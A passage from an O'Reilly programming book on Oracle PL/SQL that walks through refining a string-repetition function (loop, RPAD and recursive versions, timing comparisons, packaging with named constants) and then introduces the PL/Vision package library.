       'Please enter UL LU or N');
   assert
      (num_in >= 0,
       'Duplication count must be at least 0.');

   IF v_action = 'UL'
   THEN
      initval := UPPER (string_in);
      nextval := LOWER (string_in);
   ELSIF v_action = 'LU'
   THEN
      initval := LOWER (string_in);
      nextval := UPPER (string_in);
   ELSE
      initval := string_in;
      nextval := string_in;
   END IF;

   v_retval := initval;
   FOR dup_ind IN 1 .. num_in-1
   LOOP
      v_retval := v_retval || nextval;
   END LOOP;
   RETURN v_retval;
END duploop;
/

Now that repeated is coded, let's walk through that code for some specific argument values to see if my logic holds up.

3.8.1 When the num_in Argument Is 0

This is a boundary check. Zero is the lowest allowable value for num_in. Any test case that lies on the boundary of a range of values is a prime candidate for failure. How often have you written an algorithm that works fine in general, but which breaks down exactly on the low or high end or another kind of special case that is perfectly valid?

When num_in is 0, the FOR loop does not execute even once. Therefore, the return value is set to the initial value and that is what is returned: the string passed in by the user, converted as specified, repeated zero times.

The repeated function checks out for num_in equal to 0. Of course, I should and do execute the function for this case as well, but the code walkthrough comes first. You should be able to deduce logically that your code runs fine before you run it. Here goes:

SQL> exec DBMS_OUTPUT.PUT_LINE (repeated ('abc','UL',0));
ABC

3.8.2 When string_in Is NULL

Another special case. The twice function handles it smoothly since NULL concatenated to NULL is still NULL. Will repeated act any differently? The answer is no. It might execute more concatenations, but it still will return NULL when a NULL string is passed to it for the first argument.

In addition to my code walkthroughs for these cases, I executed repeated for a variety of different inputs and it seems to work just fine. I now have a very generic function to generate string repetitions with case conversion.

Previous: 3.7 Handling Program Assumptions | Advanced Oracle PL/SQL Programming with Packages | Next: 3.9 Considering Implementation Options
3.7 Handling Program Assumptions | Book Index | 3.9 Considering Implementation Options
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.9 Considering Implementation Options

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.9 Considering Implementation Options

That's right. We're still not finished. As you build more and more complex programs, you should always remember the following piece of wisdom:

In PL/SQL, just as in SQL, there is always more than way to implement a requirement.

SQL is notorious (at least to me, since I am far from a SQL guru) for having many different potential solutions for a single data request. Usually 99.95% of these solutions perform horribly. The situation is similar, though perhaps less extreme, for the PL/SQL language. You can usually find at least two or three ways to solve a given problem. And it is usually worth the trouble to at least consider more than one implementation. Why? First, even though your instinctive (first) approach may work fine, another technique might be even better from the standpoints of performance, maintainability, or readability. Second, by coming at the problem from another angle, you might well uncover logical flaws in your prior implementation(s), such as unconsidered cases.

Let's take another look at the repeated function with these issues in mind. Actually, as wrote the last sentence of the previous section, I was immediately reminded of another implementation. That sentence read, in part:

"I now have a very generic function to generate string repetitions..."

I thought to myself: "Big deal. I mean, PL/SQL itself has a very generic function or two to generate repetitions of a string." These builtin functions don't perform case conversion, so I don't feel downright stupid writing my own string-repeater. It is worth, however, considering those builtins for use within the repeated function.

Which functions do I refer to as "string-repeaters"? RPAD and LPAD. These pad functions are commonly used to pad on the left or right with spaces. Yet that is simply the default mode of operation for these functions. You can pad to the specified length with any pattern of characters you want. The following use of LPAD, for example, pads the string "Eli" with the words "My son" to a length of 20 characters:

SQL> exec DBMS_OUTPUT.PUT_LINE (LPAD ('Eli', 20, 'My son '));
My son My son My Eli

Notice that it stuck "My" in three times. That's because it pads as far as possible to fill the 20 characters and then stop. I can put this builtin repeater to work quite easily in the repeated function. The only trick is to calculate the total length of the string I want to generate. Example 3.8 contains the full implementation of the RPAD version of repeated.

Example 3.8: An RPAD-Based Implementation of repeated

CREATE OR REPLACE FUNCTION rep_rpad
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N',
    num_in IN INTEGER := 1)
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
   initval VARCHAR2(32767);
   nextval VARCHAR2(32767);
   v_retval VARCHAR2(32767);

BEGIN
   assert
      (v_action IN ('UL', 'LU', 'N'),
       'Please enter UL LU or N');
   assert
      (num_in >= 0,
       'Duplication count must be at least 0.');

   IF v_action = 'UL'
   THEN
      initval := UPPER (string_in);
      nextval := LOWER (string_in);
   ELSIF v_action = 'LU'
   THEN
      initval := LOWER (string_in);
      nextval := UPPER (string_in);
   ELSE
      initval := string_in;
      nextval := string_in;
   END IF;

   v_retval := RPAD (initval, LENGTH (string_in) * (num_in+1), nextval);

   RETURN v_retval;
END rep_rpad;
/

It is exactly the same as the FOR loop version, except that in place of the loop, I use this line:

v_retval := RPAD (initval, LENGTH (string_in) * (num_in+1), nextval);

The total length of the return value is the length of the specified string multiplied by the number of repetitions plus one. So if the user specifies zero repetitions, the total length is the same as the original string, and RPAD does nothing. If the user wants one repetition, the total length is double the original, leaving enough room for RPAD to pad initval on the right with nextval just once -- resulting in twice the original string. This pattern works for additional multiples as well.

The RPAD approach requires fewer lines of code than the loop version. For example, with RPAD I don't even have to initialize the return value variable to initval. The single assignment covers the num_in = 0 case as well as the non-trivial repetitions. Which technique should I use? More to the point, which should I make available to others to use?

The deciding factor in this case should be: which is more efficient? This is a low-level utility. It might be called many times deep down in the bowels of an application. So a minor difference in performance between the two implementations could have a multiplying effect on overall performance of the application.

Previous: 3.8 Broadening the Scope | Advanced Oracle PL/SQL Programming with Packages | Next: 3.10 Choosing the Best Performer
3.8 Broadening the Scope | Book Index | 3.10 Choosing the Best Performer
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.10 Choosing the Best Performer

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.10 Choosing the Best Performer

If there is a difference in execution time between the performance of my two string-repeaters, it will not be a big one. I will need to execute the functions many times to compare the cumulative difference. The best way to calculate the elapsed time of PL/SQL code execution is with the GET_TIME function of the DBMS_UTILITY builtin package. I have encapsulated GET_TIME inside the PLVtmr package (PL/Vision TiMeR) to make it easier to use. Example 3.9 shows the kind of script I used.[4]

[4] By the way, this code was for the most part generated for me with the PLVgen package to compare the performance of repeated, rep_rpad, and also the recursion-based implementation of repeated (see sidebar).

This SQL*Plus script (stored in the file timerep.sql on the disk) takes three arguments. The first, &1, accepts the number of times to execute each function. The second, &2, accepts a string that is to be duplicated. The third, &3, accepts the number of repetitions of the string. I ran the script several times as shown below:

SQL> @timerep 100 abc 1
duprpad Elapsed: .77 seconds. Factored: .0077 seconds.
duploop Elapsed: .66 seconds. Factored: .0066 seconds.
recrep Elapsed: .71 seconds. Factored: .0071 seconds.

SQL> @timerep 100 abc 10
duprpad Elapsed: .71 seconds. Factored: .0071 seconds.
duploop Elapsed: .99 seconds. Factored: .0099 seconds.
recrep Elapsed: 1.54 seconds. Factored: .0154 seconds.

I ran each of these tests several times to allow the numbers to stabilize. The results are very interesting and certainly reinforce the need for a careful test plan. When repeating the string just once, the recursion-based implementation is superior. Upon reflection, this should not be a surprise. It handles a single repetition as a special case: an unmediated concatenation of two strings. The loop-based implementation comes in second, but all of the timings are very close. When we move to multiple repetitions of the string, however, the recrep function becomes extremely slow; again, I would expect that behavior because of the extra work performed by the PL/SQL runtime engine to manage a recursive program. The big news from this round, however, is that the RPAD implementation of repeated establishes itself clearly as the fastest technique.

Example 3.9: A Performance Comparison Script

DECLARE
   a VARCHAR2(100) := '&2';
   aa VARCHAR2(10000);
BEGIN
   PLVtmr.set_factor (&1);
   PLVtmr.capture;
   FOR rep IN 1 .. &1
   LOOP
      aa := rep_rpad (a, 'UL', &3);
   END LOOP;
   PLVtmr.show_elapsed ('duprpad');

   PLVtmr.set_factor (&1);
   PLVtmr.capture;
   FOR rep IN 1 .. &1
   LOOP
      aa := repeated (a, 'UL', &3);
   END LOOP;
   PLVtmr.show_elapsed ('duploop');

   PLVtmr.set_factor (&1);
   PLVtmr.capture;
   FOR rep IN 1 .. &1
   LOOP
      aa := recrep (a, 'UL', &3);
   END LOOP;
   PLVtmr.show_elapsed ('recrep');
END;
/

Using Recursion to Repeat the String

Just when you think you've covered the bases, someone comes along and shows you a new way. I often use the twice function in my classes to demonstrate the development spiral. While training a group of 35 students at the Oracle Netherlands training center in De Meern, I reached the point where it was time to expand the scope of twice to allow any number of repetitions of the string. So I asked my class for some ideas. Immediately, a quiet voice piped up from the first row: "Use recursion." Recursion? It had never crossed my mind. I must admit that recursion is not an approach to which my brain readily turns. But it certainly seemed like a logical approach to take with the repeated function.

Never one to scorn a student's idea, we quickly cobbled together the version of repeated you see in Example 3.10. It is called recrep for RECursive REPeater.

Of course, I also need to compare the performance for different kinds of strings. I ran the same timer script as follows to see how each function handled NULL values:

SQL> @timerep 200 null 10
duprpad Elapsed: 1.59 seconds. Factored: .00795 seconds.
duploop Elapsed: 2.03 seconds. Factored: .01015 seconds.
recrep Elapsed: 2.91 seconds. Factored: .01455 seconds.

In this scenario, the RPAD implementation was considerably faster than the loop and recursion techniques (though, once again, I found that if the number of repetitions was set to 1, the recrep function was faster). Finally, I greatly increased the number of string repetitions and then all became clear:

SQL> @timerep 100 abc 100
duprpad Elapsed: .77 seconds. Factored: .0077 seconds.
duploop Elapsed: 4.28 seconds. Factored: .0428 seconds.
recrep Elapsed: 5.22 seconds. Factored: .0522 seconds.

The conclusion I draw from my tests is that the RPAD technique offers a much more stable solution than that based on the FOR loop. Regardless of the number of repetitions, RPAD takes about the same amount of time. With the FOR loop and recursion approaches, as the repetitions increase, the performance degrades. That is not the sign of a healthy algorithm.

Given the results, it would make sense to implement the repeated function using the RPAD technique. You could possibly optimize further by using the FOR loop approach for small numbers of repetitions, and then switch to RPAD for larger repetitions. The gain with the FOR loop for minimal repetitions is, however, minimal -- it's probably not worth the trouble.

I was glad to see that the RPAD approach is faster. You should always use a builtin if it exists, rather than build your own. The FOR loop technique arose quite naturally from the way I expanded the scope of the twice function. It turned out, however, that it was not the path to the optimal solution. As for recursion, well, it is always an interesting phenomenon to watch and puzzle out, but it rarely offers the best implementation (except when it is the only implementation feasible).

Example 3.10: The Code for the Recursive Implementation of repeated

CREATE OR REPLACE FUNCTION recrep
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 := NULL,
    num_in IN INTEGER := 1)
   RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
   initval VARCHAR2(32767);
   nextval VARCHAR2(32767);
   v_retval VARCHAR2(32767);

BEGIN
   assert
      (v_action IN ('UL', 'LU', 'N'),
       'Please enter UL LU or N');
   assert
      (num_in >= 0, 'Duplication count must be at least 0.');

   IF v_action = 'UL'
   THEN
      initval := UPPER (string_in);
      nextval := LOWER (string_in);
   ELSIF v_action = 'LU'
   THEN
      initval := LOWER (string_in);
      nextval := UPPER (string_in);
   ELSE
      initval := string_in;
      nextval := string_in;
   END IF;

   IF num_in = 1
   THEN
      RETURN initval || nextval;
   ELSE
      /* No more case conversions performed... */
      RETURN (initval || repeated (nextval, 'N' , num_in-1));
   END IF;
END recrep;
/

Previous: 3.9 Considering Implementation Options | Advanced Oracle PL/SQL Programming with Packages | Next: 3.11 Don't Forget Backward Compatibility
3.9 Considering Implementation Options | Book Index | 3.11 Don't Forget Backward Compatibility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.11 Don't Forget Backward Compatibility

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.11 Don't Forget Backward Compatibility

Now that I have stabilized a version of repeated that performs best, I have one more issue to consider: what about all those calls to the twice function? The repeated function (whichever implementation I go with) handles the same requirement as that covered by twice. I would rather not have several different functions floating around in my environment, especially since they duplicate lots of the same logic. For example, if I decide to add yet another kind of case conversion, such as InitCap, I would have to enhance both the twice and the repeated functions. That is a real bummer, from a maintenance standpoint.

I do not, on the other hand, necessarily want to get rid of the twice function. It is already used in a number of programs, some of which are in production. I would much rather leave the calls to twice in place and thereby minimize the disruption to existing code. I need a path that offers backward compatibility while at the same time avoids a maintenance nightmare.

The solution is a direct translation to code of that stated need: keep the header to twice the same, but completely gut and replace its internals with...a call to repeated! This approach is shown here:

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2, action_in IN VARCHAR2 DEFAULT 'N')
RETURN VARCHAR2
IS
BEGIN
   RETURN (repeated (string_in, action_in, 1));
END;

I could leave off the third argument of 1, since that is the default and I explicitly designed the function so that the default would match the current functionality of twice. That is, however, a dangerous approach. What if the default changes? You are much better off being explicit -- especially since I do not really want the default value. I want a single repetition. That just happens to be the default -- today.

Now all of the programs that call twice will work as is -- no changes required. Yet any changes I make to repeated will automatically carry into the twice function as well.

Previous: 3.10 Choosing the Best Performer | Advanced Oracle PL/SQL Programming with Packages | Next: 3.12 Obliterating the Literals
3.10 Choosing the Best Performer | Book Index | 3.12 Obliterating the Literals
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.12 Obliterating the Literals

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.12 Obliterating the Literals

There are still two things that bother me about the repeated function: first, the function is not defined in a package and, second, a user of repeated has to know the correct literals to pass to it to get the right kind of conversion action. On general principles, I believe that everything built in PL/SQL should be placed inside a package. This construct is the cornerstone of programming in the PL/SQL language and offers many advantages, explored in detail throughout this book. My second concern about literals can be answered by creating a package -- so I will show you how to convert the standalone repeated function into a package.

I do not believe that a user of my code should have to remember the specific characters to pass in a string literal. Is it UL or BS? Is it n for "no action" or l for "leave alone"? With the function as implemented throughout this chapter, there is no way for a developer to know at compile time if she called repeated properly.

Beyond this difficulty, applications the world over would be much better off if their creators avoided the use of hard-coded literals in their code. Every time the repeated function is called, some string literal is being hard-coded into a program. If the repeated function is ever modified to expand the scope of action and different literals are used, all those other programs could go haywire. A much better approach would provide named constants in place of the hard-coded strings so that (a) at compile time a developer would know if the call to the function is correct and (b) the actual string values for the action codes can be hidden from view -- and changed as often as is necessary.

The best way (really, the only way) to create named constants for use throughout a PL/SQL application is to put these constants -- and the code with which they are used -- into a package. The stg package shown in Example 3.11 offers the same functionality as the repeated function, with the additional benefit of named constants. Now instead of having a standalone repeated function, I have a dup function in the stg package, and the following constants:

stg.ul

Indicates that you want UPPER-lower case conversion

stg.lu

Indicates that you want lower-UPPER case conversion

stg.n

Indicates that you do not want any case conversion

So when I want to duplicate or repeat the string "abc" 10 times with UPPER-lower conversion, I would execute this statement:

stg.dup ('abc', stg.ul, 10);

By referencing the stg.ul constant, I can verify at compile time that I am using a valid action code for case conversion.

Notice that I have placed the dup function within a very generic string package. I do this to anticipate future requirements for string processing. By creating this package, I have established a repository in which I can place other, related functions and procedures as I think of them. All will be called with the "stg" prefix, indicating that they are oriented to string processing.

Example 3.11: A Duplicate String Package

CREATE OR REPLACE PACKAGE stg
IS
   lu CONSTANT VARCHAR2(1) := 'A';
   ul CONSTANT VARCHAR2(1) := 'B';
   n  CONSTANT VARCHAR2(1) := 'X';

   FUNCTION dup
      (stg_in IN VARCHAR2,
       action_in IN VARCHAR2 := n,
       num_in IN INTEGER := 1)
   RETURN VARCHAR2;
END stg;
/
CREATE OR REPLACE PACKAGE BODY stg
IS
   FUNCTION dup
      (string_in IN VARCHAR2,
       action_in IN VARCHAR2 DEFAULT n,
       num_in IN INTEGER := 1)
   RETURN VARCHAR2
   IS
      v_action VARCHAR2(10) := UPPER (action_in);
      initval VARCHAR2(32767);
      nextval VARCHAR2(32767);
      v_retval VARCHAR2(32767);

   BEGIN
      assert
         (v_action IN (lu, ul, n),
          'Please use the package constants: ul, lu or n');
      assert
         (num_in >= 0, 'Duplication count must be at least 0.');

      IF v_action = ul
      THEN
         initval := UPPER (string_in);
         nextval := LOWER (string_in);

      ELSIF v_action = lu
      THEN
         initval := LOWER (string_in);
         nextval := UPPER (string_in);

      ELSE
         initval := string_in;
         nextval := string_in;
      END IF;

      v_retval :=
         RPAD (initval, LENGTH (string_in) * (num_in+1), nextval);

      RETURN v_retval;
   END dup;
END stg;
/

Previous: 3.11 Don't Forget Backward Compatibility | Advanced Oracle PL/SQL Programming with Packages | Next: 3.13 Glancing Backward, Looking Upward
3.11 Don't Forget Backward Compatibility | Book Index | 3.13 Glancing Backward, Looking Upward
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.13 Glancing Backward, Looking Upward

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.13 Glancing Backward, Looking Upward

Now that was a journey through the valleys and peaks of modularization! I started with a simple solution to what seemed to be a very simple request. I ended up with a very generic, well-structured function that handles the simple request and many others as well.

Along the way, I applied many best practices of recommendations for module construction (some of which are covered in Chapter 2, Best Practices for Packages, some of which are discussed in Oracle PL/SQL Programming). With each successive change to twice (and then repeated), I took another turn up along the spiral that represents the rise in quality of my PL/SQL coding techniques. At the end, I had a polished function with proven performance and wide applicability. Take a look at the final version of my repeater function (the dup package). Could you have ever predicted that endpoint from the first version of the twice function? I certainly could not have. In fact, when I started this chapter, the repeated function looked quite different from the way it does now. I found many improvements to make from my first progression of twice (a thorough improvisation performed "live" during a class in Tulsa, Oklahoma) as I "rationalized" the code into an chapter.

And so we come face to face with one of the most extraordinary characteristics of the programming spiral. It's not like a Slinky. That toy has the right shape, but it also has a beginning and an end. The spiral for developers has a beginning (though you would probably have to make an arbitrary choice to locate it), but it certainly has no end. You can always find ways to improve your code, your coding philosophy, and your quality of programming life.

So the next time you sit down to write a program, don't settle for "getting the job done." Instead, push yourself up that spiral towards excellence.

Previous: 3.12 Obliterating the Literals | Advanced Oracle PL/SQL Programming with Packages | Next: II. PL/Vision Overview
3.12 Obliterating the Literals | Book Index | II. PL/Vision Overview
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] Getting Started with PL/Vision

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: II. PL/Vision Overview Chapter 4 Next: 4.2 PL/Vision Package Bundles

4. Getting Started with PL/Vision

Contents:
What Is PL/Vision?
PL/Vision Package Bundles
Installation Instructions
Installing Online Help for PL/Vision
Using Online Help
Summary of Files on Disk

4.1 What Is PL/Vision?

As I've mentioned in earlier chapters, PL/Vision is a collection of PL/SQL packages and supporting SQL*Plus scripts that can change radically the way you develop applications with the PL/SQL language. This chapter describes the product in greater detail, lists the packages included in it, and provides instructions for installing the PL/Vision Lite Online Reference provided on the companion disk.

4.1.1 The Benefits of PL/Vision

What can PL/Vision do for you? The possibilities are almost endless:

  • Improve your productivity. PL/Vision goes a long way towards helping you avoid reinventing the wheel. Need to change a long string into a word-wrapped paragraph? Use the PLVprs.wra procedure. Want to display the contents of a PL/SQL table? Call the PLVtab.display procedure. Need to log activity to the database or maybe even write your information to a PL/SQL table? Call the PLVlog.put_line program. By using PL/Vision, you write much less code yourself, and instead spend your time deciding which prebuilt components of PL/Vision to plug into your own applications. You are able to focus much more of your effort on implementing the business rules for your systems.

  • Decrease the number of bugs in your code and fix the bugs you do find more rapidly. Since you will be writing less code, you will minimize the opportunities for bugs to creep into your own programs. When you do have compile errors, you can call the PLVvu.err program to show you precisely where the error occurred in your program. Furthermore, PL/Vision packages offer many ways to trace the actions taken within those packages. When you need more information, you simply call the appropriate package toggle to turn on a trace and then run your test. When you are done testing and debugging, you turn off the trace mechanisms and put your application into production.

  • Help you develop and enforce coding standards and best practices. You will do this in two ways: first, by using packages that explicitly support coding standards, such as PLVgen; second, by examining the code behind PL/Vision. This PL/SQL library has provided numerous opportunities for me to put my own best practices for packages into action. You will, no doubt, find occasional violations of my best practices, but by and large the code in PL/Vision should provide a wealth of ideas and examples for your own development.

  • Increase the percentage of reusable code in your applications. The more you leverage PL/Vision, the fewer new programs you have to write yourself. And this advantage doesn't just accrue to individual developers. You can use PL/Vision across multiple applications -- it can be part of a truly enterprise-wide object and module library.

  • Demonstrate how to modularize and build layers. I don't want you to simply use PL/Vision. I want you to learn how and why I built PL/Vision so that you can accomplish the same kind of development yourself. We all need to be fanatically devoted to modularizing code for maximum reusability. We all need to become sensitive to identifying program functionality that should be broken out into different layers. To some extent, you can develop such sensitivity only by practicing the craft of software construction. But you can also examine closely the work of others and learn from their example (both the good and the bad).

  • Inspire you to be creative, to take risks in your coding. I have found that the real joy of programming is to be found in trying out new ways of doing things. When you stretch boundaries -- whether they are the boundaries of your own experience or those of the documented features of a language -- you make discoveries. And when those discoveries turn out to be productive, you create new things.

4.1.2 The Origins of PL/Vision

PL/Vision has both top-down and bottom-up origins. Many of the pieces of PL/Vision were pulled together after the fact; I would come up with an interesting package, then draw it into the embrace of PL/Vision. After incorporating it I would reexamine other packages in PL/Vision to see how I could leverage this latest addition. I consider that the bottom-up approach.

PL/Vision as a coherent library of interlocking packages first sprang out of a recognition of the need to break up a single large program into multiple layers of code. In the fall of 1995 I became obsessed with the idea of writing a program that would "pretty-print" or reformat PL/SQL source code to follow my suggested coding style. It would read the code from the ALL_SOURCE data dictionary view and perform such tasks as upper-case all keywords and apply consistent indentation and line breaks to the code. I worked feverishly after hours on this project for a week and found myself with a working prototype: the psformat procedure. It was an exciting week for me. I could feed psformat (which ran to almost 1000 lines of text) the code for a procedure stuffed into one long, unformatted string and retrieve from it a nicely formatted PL/SQL program unit.

I was careful not to write a parser for the PL/SQL language. I didn't think such a step was necessary to handle my limited scope and I sure didn't want to spend the time required for such a task. Yet I found (as many of you would probably anticipate) that psformat didn't handle all the nuances of PL/SQL code correctly. So I would dive back in and tinker with it just a little bit more so that it would understand this or that element of the language.

Two weeks later, I had completely reimplemented psformat three times. With each implementation I came closer to handling the conversion and formatting of a wide range of PL/SQL program syntax. At the same time, my one big program grew that much bigger and more convoluted. I was just so taken up in implementing my obsession that I did not feel that I had the time to modularize my code. And each time I came that much closer to cobbling together a parser for PL/SQL.

After round three and too little sleep, I began to realize that I would probably never meet my objectives taking this piecemeal approach. Painfully and reluctantly, I gave up on this program (as you will see, PL/Vision does not provide a program to automatically indent and line-break your code). I did not, however, abandon all the code I had developed. Instead, I set my sights on a more limited and achievable goal: a program that would convert the case of source code to follow the UPPER-lower method. I would leave the format of the code as is, but change all keywords to upper-case and all application-specific identifiers to lower-case.

In the process of enhancing psformat, I had constructed a table that contained the keywords for the PL/SQL language and information about how those keywords affected the format of the source code (this is now the PLV_token table). I also recognized that I wanted to be able to read the original code from any number of different sources and write the converted code to any number of different targets.

At the same time that I shifted my expectations and goal, I forced myself to take the time to break up my monster procedure and employ top-down design to straighten out my logic. Thus was PL/Vision born. Directly out of this process, I created a single PLVtext package to manipulate PL/SQL source text. This single package eventually transformed itself into PLVio, PLVobj, and PLVfile to handle very generically a variety of source and target repositories for PL/SQL source code. I separated out many string-parsing tasks from psformat into PLVprs, which over time broadened into PLVprs, PLVlex, PLVtkn, and, finally, PLVprsps. When all of my layering and partitioning was done, I got back to building the PLVcase package to perform the actual case conversion. My monstrous single procedure became a very small, relatively simple package.

As I broke out these different aspects of PL/SQL functionality, I began to see the outlines of a whole substantially larger than the sum of its parts: a very generic and highly reusable toolbox that could be used in any PL/SQL-based development environment. From that point on, I was on the lookout for any utility or package I had built or would build that could add to the scope and functionality of PL/Vision.

Throughout this development process, I found myself learning more and more about what was really involved in building packages and leveraging reusable code. My conception of a set of best practices for packages also crystallized.

My desire to share what I had learned and built grew with the number of packages in PL/Vision. Finally, I realized that the best way to make the most of my knowledge was to write a book centered around the code and lessons of PL/Vision. I hope that you will find the software and the accompanying text useful.

Previous: II. PL/Vision Overview | Advanced Oracle PL/SQL Programming with Packages | Next: 4.2 PL/Vision Package Bundles
II. PL/Vision Overview | Book Index | 4.2 PL/Vision Package Bundles
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.2 PL/Vision Package Bundles

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

4.2 PL/Vision Package Bundles

PL/Vision Lite consists of 32 PL/SQL packages. From a conceptual standpoint, the various packages are grouped into three bundles: building blocks, developer utilities, and plug-and-play components. These packages in each of these bundles are summarized in the following sections. Chapter 5, PL/Vision Package Specifications, contains a full summary of all package specifications.

NOTE: Some of the packages listed in the following tables are not described in detail in this book. In cases in which neither the package conception nor its implementation offered any additional insights that would help you build your own packages, I elected to omit the discussion from the book. For more details about these packages (indicated by * in the tables), see the PL/Vision Online Reference on the companion disk.

4.2.1 Building Blocks

The building block packages provide low-level functionality upon which other packages in PL/Vision are built. You can, of course, also use these building blocks to construct your own applications. Examples of building block packages include an interface to PL/SQL tables, string parsers, a file I/O manager, and a message handling mechanism.

Table 4.1: PL/Vision Building Block Packages
Package | Description
p | Offers a feature-rich and minimal-typing substitute for the DBMS_OUTPUT package.
PLV | Top-level package for PL/Vision. Contains constants and generic utilities for use throughout the library.
PLVchr | Provides information about single characters in a string. You can display the ASCII codes for characters in a string and perform other operations relating to individual characters.*
PLVfile | Manages operating system file I/O. PLVfile provides a layer of code around the UTL_FILE builtin package and offers some very high-level capabilities, such as a file copy. Use this package only if you are using Oracle Server Release 7.3 and above.
PLVio | Generalized input/output package used to both read from and write to repositories for PL/SQL source code. For example, you can use PLVio, via the PLVcase package, to read a program from its operating system file, convert keywords to upper-case, and then store it in the database.
PLVlex | Lexical analysis and parsing package. Recognizes lexical elements of the PL/SQL language and can be used to read one PL/SQL identifier at a time.*
PLVlst | Generic list manager for PL/SQL that's built on PL/SQL tables. Following the specification of the LIST package of Oracle Developer/2000, this package provides a comprehensive interface to lists in PL/SQL.*
PLVmsg | Stores standard messages for use in an application. Use this package to consolidate all different kinds of message text with which you can associate a number (such as error number). You can also use PLVmsg to override standard Oracle error messages with your, more application-specific information.
PLVobj | Programmatic interface to the ALL_OBJECTS data dictionary view. This package encapsulates logic for specifying and reading source code for a given object. It provides an excellent model for building a package around a view or cursor. PLVobj even implements a kind of dynamic cursor FOR loop through a procedure with the loopexec program.
PLVprs | Performs string parsing actions. This is the most generic of the string manipulation packages of PL/Vision.
PLVprsps | Parses PL/SQL source code. You can parse a single string or an entire program unit. The parsed tokens are placed in a PL/SQL table, which can then be used as the basis for further analysis or conversion of the code.
PLVstk | Generic stack manager package, built on PLVlst. Provides a full set of operations for both FIFO (first-in-first-out) queues and LIFO (last-in-first-out) stacks.*
PLVtab | Provides an interface to predefined PL/SQL table structures. Also allows you to easily and flexibly display the contents of PL/SQL tables.
PLVtkn | Package interface to the PLV_token table, which contains information about tokens, particularly keywords, in the PL/SQL language. Use PLVtkn to determine if an identifier is a keyword or a reserved word, and even the type of keyword (syntax, builtin, symbol, etc.).

4.2.2 Developer Utilities

The developer utilities of PL/Vision are self-contained utilities that you can use to improve your development environment. Examples of building block packages include a PL/SQL code generator and an online help delivery mechanism for PL/SQL programs.

Table 4.2: PL/Vision Developer Utility Packages
Package | Description
PLVcase | Converts the case of PL/SQL code to the UPPER-lower method. You can convert a single token, a line, a program, or a set of programs.
PLVcat | Catalogues the contents of PL/SQL code, placing the results in one of two database tables. You can either catalogue the list of elements referenced by a particular program (the PLVrfrnc table) or the list of elements defined in the specification of a package (the PLVctlg table).
PLVddd | Dumps Data Definition Language (DDL) syntax from a particular schema. Allows you to recreate database objects easily in other schemas. You can also use output from PLVddd to compare data structures between schemas or analyze changes over time.*
PLVgen | Generates PL/SQL program units and SQL*Plus scripts. This package can greatly improve developer productivity, adherence to coding standards and best practices, and the overall quality of code produced.
PLVhlp | Provides an architecture by which developers can provide online help for their PL/SQL programs to their (developer) users. Using this package, you can make comment text in your source code available in a structured way to users of your code.
PLVtmr | Allows you to measure elapsed time of PL/SQL code down to the hundredth of a second. This package offers a programmatic layer around the GET_TIME function of the builtin DBMS_UTILITY package.
PLVvu | Multifaceted view package. Shows you the errors in a stored object compile, or specified lines of source code from the data dictionary, etc. Offers a convenient substitute for the SHOW ERRORS command of SQL*Plus.

4.2.3 Plug-and-Play Components

